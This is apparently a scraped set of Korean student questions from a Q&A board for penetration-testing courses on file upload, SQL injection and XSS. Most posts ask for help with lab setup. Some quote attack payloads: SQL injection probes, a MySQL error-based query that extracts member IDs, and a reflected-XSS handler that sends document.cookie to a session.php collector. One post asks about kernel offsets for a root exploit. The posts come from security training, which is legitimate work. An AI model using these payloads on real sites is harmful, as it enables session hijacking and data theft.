코드를 하나도 고치지 않고 바로 실습을 하는데도 불구하고 파일이 업로드되지 않습니다. 다른 분들이 올린 질문도 참고해서 봤는데 저는 나중에 강의를 들어서 그런지 이미 코드가 고쳐져있는 상태더라고요. 강의와 같이 png 파일을 업로드하려고 했는데도 파일 업로드를 실패하셨습니다. 하는 팝업창만 계속 뜨고 게시글이 올라가지 않습니다.
모의해킹 실무자가 알려주는, 파일 업로드 취약점 공격 기법과 실무 사례 분석 : PART 1
안녕하세요 크리핵티브님 다름이 아니라, 실무 사례 분석 - upload_prob 7 강의 들으면서 궁금한 게 있어 질의드립니다. $uploadFile = $_POST["oldfile"]; 의 값을 파일 다운로드 취약점 값 변조하여 다운로드 받는 것 까진 이해되었습니다. 이 때 궁금한 점은 $query = "update {$tb_name} set title='{$title}', writer='{$writer}', content='{$content}', file='{$uploadFile}', regdate=now(), gubun='{$gubun}' where idx={$idx}"; action.php에서 ../../index.html이 수정 페이지에서 요청한 writer, content으로 update 되어진 index.html이 다운로드가 아닌 기존 index.html이 다운로드 되는 이유가 무엇인지 궁금합니다!
강의 영상에서 보면 루트 권한으로 proc/kallsyms 파일에 내용에서 commit_creds, prepare_kernel_cred의 offset을 찾고 있는데 이건 이미 루트 권한을 획득 했을때 얘기이고 루트 권한을 얻기 위해 익스 코드를 짜야 되는 상황에서의 저런 offset은 어떻게 얻을 수 있나요?
BASIC PENTESTING2 환경을 구성하는데 초기 실행중에 [ 8.972742] ---[ end Kernel panic - not sycning : Attempted to kill the idel task! 라는 글을 마지막으로 더이상 진행되지 않습니다. 어떻게 해결해야 하나요?
모의해킹 실무자가 알려주는, SQL Injection 공격 기법과 시큐어 코딩 : PART 1
안녕하세요 오늘 강의 처음 구매해서 지금 4시간 5시간?이 넘게 MSSQL 환경설정과 싸움중입니다.. 질문 게시판에 올라온 MSSQL 관련 솔루션 다 찾아가면서 해보는데도 도저히 해결이 안됩니다. 원래 맥 운영체제를 주로 쓰는데 이 강의 때문에 퇴근하고 집에 오자마자 윈도우 노트북도 오랜만에 켜서 하는데 강의도 못듣고 환경설정에 이렇게 시간을 쓰다가 진도도 나가질 못하고 이러고 있으니 진짜 화나고 답답하네요
강의에서 보면 Mysql을 사용하는 DBMS서버가 물리적으로 WAS와 같은 서버에서 가동 중일 때 Mysql의 함수인 Load_flie 을 통해 로컬 파일의 내용을 확인하는 것을 보았습니다. 해당 강의를 보다 궁금한 사항이 생겨 질문 드립니다. 1. 로컬 파일의 위치(경로)를 해커의 입장에서 어떻게 찾는 건가요? 해당 서비스가 Window인지 Linux인지는 어떻게 찾나요?
현재 CSRF 실습 중에 있는데 메일로 보낸 링크를 클릭하면 버프 스위트에서 나오는 모습입니다. 위와 같이 나오면서 CSRF 공격이 실행되지 않습니다. 시큐리티 레벨은 low로 설정되어 있습니다. 브루트 포스 공격 실습 이후 바로 실행하였으나 해당 사진처럼 작업 안됨 파이어폭스 Data Clear 기능으로 모든 기록 지운 뒤 다시 DVWA 접속 후 보안 등급 Low로 설정 후 CSRF 링크 다시 클릭했으나 사진 처럼 나오고 작업 안됨 이 2가지 상황입니다. 혹시 몰라 Compare 한 상황도 보여드리겠습니다.
모의해킹 실무자가 알려주는, SQL Injection 공격 기법과 시큐어 코딩 : PART 1
다름이 아니라 취약점 분석 방법론에서 In-line Query 와 Terminating Query 에 대해 설명해주실 때, In-line Query 에서는 SELECT * FROM member WHERE user_id = ' hacker' and 1=1 and '1'='1 ' Terminating Query 에서는 SELECT * FROM member WHERE user_id = ' hacker' and 1=1--' 이렇게 말씀해주셨는데요. Q.제가 이해하기로는 In-line 에서 'hacker' 의 앞의 싱글쿼터로 시작했기 때문에 마지막을 싱글쿼터로 맞춰주셨다고 했는데요. 왜 맞춰줘야하나요?? Q. In-line 에서는 위와 같이 똑같이 'hacker' 가 있어 앞에가 싱글 쿼터로 똑같이 시작되는데 왜 싱글쿼터로 마무리를 안해도되는지 궁금합니다.
안녕하세요 크리핵티브님 강의 정말 잘 듣고 있습니다 다름이 아니라 궁금한 게 하나 있는데요 Session5. 그룹핑을 활용한 효과적인 데이터 조회 공격 기법에서 MySQL의 Error Based 공격을 혼자 실습 진행했습니다. [페이로드] /mysql/view.php? idx= extractvalue(1,concat(0x01,(select group_concat(id,'###') from board.members))) 페이로드는 위와 같으며 요청 시 ID 컬럼에 대한 조회는 정상적으로 나오는데 다른 환경에 비해 완전한 출력이 아니라 부분적으로 출력이 되는 것 같습니다. 이런 경우에는 순차적 레코드를 이용한 출력 방법밖에 없거나 다른 방안이 있는지 궁금합니다
php.ini에서 magic_quote_gpc를 on에서 off로 바꾸고 다시 실행하려고 하는데, 첫 번째 방법으로 시작되는 모니터 화면이 켜지지 않습니다. 바탕 화면에 APMSETUP Monitor가 깔려서 아무리 눌러도 화면에 나타나지 않습니다. 두번째 방법으로 시도해보았는데 마찬가지로 이런 error 창이 뜨면서 실행되지 않습니다. 127.0.0.1을 url로 입력했을 때 강의 화면처럼 잘 설치되었다고 정상적으로 잘 작동됩니다. 어떻게 해야 할까요..?
모의해킹 실무자가 알려주는, SQL Injection 공격 기법과 시큐어 코딩 : PART 1
Session 10 . 대응방안에서 실습[9-1] Prepared Statement 취약한 소스코드와 안전한 소스코드 강의 10분 49초 부분에서 궁금 사항이 있습니다. 만약 num 파라미터 값을 Integer num = Integer.parseInt(request.getParameter("num")) Integer 형 변환하여 처리하였으나, String sql = "SELECT * FROM ex_member WHERE num = " + num; SQL 구문 자체는 Prepared Statement를 적용하지 않았을 때 이 부분도 취약한걸까요? 결국 인젝션 공격을 위해 문자열은 들어갈 수 밖에 없을 것 같은데 형 변환에서 모두 에러 발생되므로 공격이 불가할 것 같은데 맞을까요?
Reflected XSS를 이용한 세션 하이재킹 강의에서 search 검색란에 <> 태그에 대한 html 엔티티 보안 조치가 적용되어 "으로만 사용하는 이벤트 핸들러를 사용 Payload : " autofocus onfocus="new Image().src=' http://localhost/board/session.php?data= ' + document.cookie" http://localhost/board/index.php?search_type=all&keyword=%22+autofocus+onfocus%3D%22new+Image%28%29.src%3D%27http%3A%2F%2Flocalhost%2Fboard%2Fsession.php%3Fdata%3D%27+%2B+document.cookie%22&page=board 페이로드는 위와 같이 작성하였으며, 해당 페이로드를 요청하는 URL은 위와 같습니다. 여기서 궁금한 점은 희생자들이 URL을 요청하기 위해 게시판에 a 태그를 사용하여 링크로 접속하는 방법을 사용하셨는데 여기서 꺽새, 더블쿼터에 대한 필터링을 사용하고 있다면 아예 사용할 수 없는지 궁금합니다